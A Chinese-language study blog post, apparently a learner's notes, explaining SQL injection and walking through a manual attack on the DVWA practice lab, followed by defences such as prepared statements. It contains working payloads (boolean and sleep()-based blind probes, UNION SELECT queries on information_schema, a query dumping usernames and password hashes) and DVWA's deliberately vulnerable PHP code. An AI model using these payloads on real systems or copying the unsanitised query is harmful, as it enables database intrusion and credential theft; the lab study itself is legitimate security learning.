上节课,小白菜跟佬们学习了csrf后,紧接着开始sql注入的学习。为了掌握其基本内容,小白菜跟着吴佬学习基本概念过后,便开始向dvwa靶机进行攻击。

首先来学习一下注入基础:
在mysql或者mariaDB数据库中均可发现由一个比较重要的数据库十九inforation_schema 信息纲要库里边,并在里边发现数据库的一些基本信息表包括schemata,column,table等表,我们查看kali里边的mariaDB数据库。
图片说明
这里包括网站比较重要的信息。
图片说明

一、sql注入的基本概念
1.1 sql注入攻击定义
对于sql注入攻击,我是这么认为的。sql注入实际上是用户构造url参数或者在post表单上构造sql语句参数,目的是为了破坏sql结构,以便获取服务端的数据库内容,完成非法用户对后台数据的窃取进行对数据库破坏,或利用数据库存放的用户保密信息对用户信息进行破坏或完成转账等非法操作。
1.2 sql注入攻击的本质
简单来说就是把用户输入当成代码来执行。所以判断一个sql注入存不存在有两个关键条件,其一是用户能控制输入,其二是程序要执行的代码拼接了用户的输入。

二、sql注入类型
2.1 非盲注类型
特别指的是服务器有错误回显信息进行的注入攻击。
2.2 盲注类型
专指服务器没有错误回显信息进行的注入攻击。而基于盲注又分为基于时间的盲注和基于bool的盲注。
2.3 其他类型注入
对于其他注入类型包括XML注入、代码注入、CRLF注入等

三、如何进行sql注入判断
3.1 盲注的验证方法
1)构造简单的条件语句
简单来讲就是根据构造的简单条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。

比如 https://nowcoder.net/id=1是页面的url,我们可以构造https://nowcoder.net/id=1 and 1=2
https://nowcoder.net/id=1 and 1=1观察两个页面是否发生变化,进而判断是否存在sql注入

2)利用时间函数对页面进行注入判断
比如mysql有一函数为benchmark()函数,它用于测试函数性能。我们可以通过让同一个函数执行若干次,使得结果返回的时间比平时长;通过时间长短的变化,可以判断注入语句是否执行成功。

四、怎么利用sql注入获取数据库的信息
4.1 获取数据库的版本
https://nowcoder.net/id=1 and substring(@@version,1,1)=5 (这里猜测mysql的版本为5)
4.2 猜测参数表名和列名
https://nowcoder.net/id=1 union all select 1,2,3 from admin (这里猜测admin表是否存在)
https://nowcoder.net/id=1 union all select 1,2,passwd from admin
4.3 猜测username和password具体的值
https://nowcoder.net/id=1 and ascii(substring(select concat(username,ox3a,passwd) from users limit(0,1),1,1))>64 (这里判断字符范围)
4.4 手工注入的思路

手工盲注的思路
1)判断是否存在注入,注入字符型还是数字型
2)猜测数据库查询的字段数目
3)猜测当前数据库名
4)猜测数据库的表名
5)猜测表中的字段名
6)获取数据

1)1 and 1=1 和 1 and 1=2 判断是否存在数值型注入
1' and '1'='1 和 1' and '1'='2 或者 1" and "1"="1 和 1" and "1"="2判断是否存在字符型注入

2)猜测数据库查询的字段数目
1' order by n-- (这里的n表示猜测字段数目值)

3)猜测数据库长度
    1’ and if(length(database())=1,sleep(5),1) # 没有延迟
    1’ and if(length(database())=2,sleep(5),1) # 没有延迟
    1’ and if(length(database())=3,sleep(5),1) # 没有延迟
    1’ and if(length(database())=4,sleep(5),1) # 明显延迟,这里说明数据库长度为4
猜测数据库名字
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟,这里说明数据库名字的第2个字符大于ascii值
...
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

4)猜测数据库的表长度
    1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
    1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
猜测数据库的表名
5)猜测表中字段的数量
    1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
    ...
    1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

猜测字段名
    1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
    ...
    1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
采用二分法猜测各个字段名

五、sql的运用与防御
5.1 sql注入的运用
当小白菜想要学习了基本理论时,于是乎开始了SQL注入的靶机挑战。佬们便开始实习一个低难度挑战
图片说明
拿个这个题目,小白菜首先想这个输入框是不是满足我们注入的条件呢?即存在接收用户的输入,也把用户的输入当成代码执行呢?于是乎开始进行判断,我们首先测试是否存在漏洞,输入1 and 1=1
图片说明
输入1 and 1=2得到
图片说明
我们发现页面把我们的ID输入的字符全都输出出来,我们判断该方法判断失效,不存在数字型注入漏洞,于是我们开始测试是否为字符型漏洞,我们再输入框添加1' and '1'='1
图片说明
当我们在输入框添加 1' = '1'='2时,页面显示
图片说明
没有查询结果,说明存在字符注入漏洞。
当我们查看后台代码时发现,

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

在接收user_id的时候,并未进行任何处理,故存在注入漏洞的可能。
且存在危险的代码是

$id = $_REQUEST[ 'id' ];
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
mysqli_query($GLOBALS["___mysqli_ston"],  $query )

但是我们如何利用这个sql注入漏洞进行数据库的重要信息获取呢?小白菜便开始运用上述理论进行一步步手工注入获取数据库的重要信息包括,数据库、表、列、字段等。

1)首先猜测SQL语句查询的字段数目,在输入框输入如下
1' order by 1--
图片说明
1' order by 2--
图片说明
1' order by 3--
图片说明
这就说明了查询字段只有两个。

2)确定显示字段的顺序
1' union select 1,2#
图片说明

3)获取连接的数据库
1' union select 1,database()#

数据库名为dvwa。

4)获取数据库的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

dvwa种包含users表和guestbook表

5)获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
图片说明
图片说明
一共得到10个字段。小白菜发现里边包含有用户登陆的账号user和密码password,于是乎利用sql语句进行查询。

6)获取数据
1' union select group_concat(user_id,first_name),group_concat(password) from users #
图片说明
由此得到dvwa的数据库和密码,但是密码为一字符串进行编码,通过一系列手段知道密码MD5加密的结果,于是我们进行在线MD5码转换为123
图片说明 通过一系列措施我们得到登陆的账号和密码。
5.2 sql注入的防御
防御通常的手段是继续对用户输入的数据进行过滤,从而限制构造的恶意sql语句进行攻击。最好的办法是
1.使用预编译语句。假设在java中使用,

String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString (1, custname);
ResultSet results =pstmt.executeQuery();

在这里利用connection.prepareStetement()函数进行预编译,从而导致SQL语句的语义不会发生改变。
2.使用安全的存储过程
先将SQL语句定义在数据库中,假设定义好了一个存储过程sp_getAccountBalance。在java中进行调用,

String custname = request.getParameter("customerName");
try{
   CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
   cs.setString(1,custname);
   ResultSet results =cs.executeQuery();
}catch (SQLException se)

3.检查数据类型
通常使用settype函数对用户输入的参数值进行类型限制,在很大程度上可以限制SQL注入。
4.使用编码函数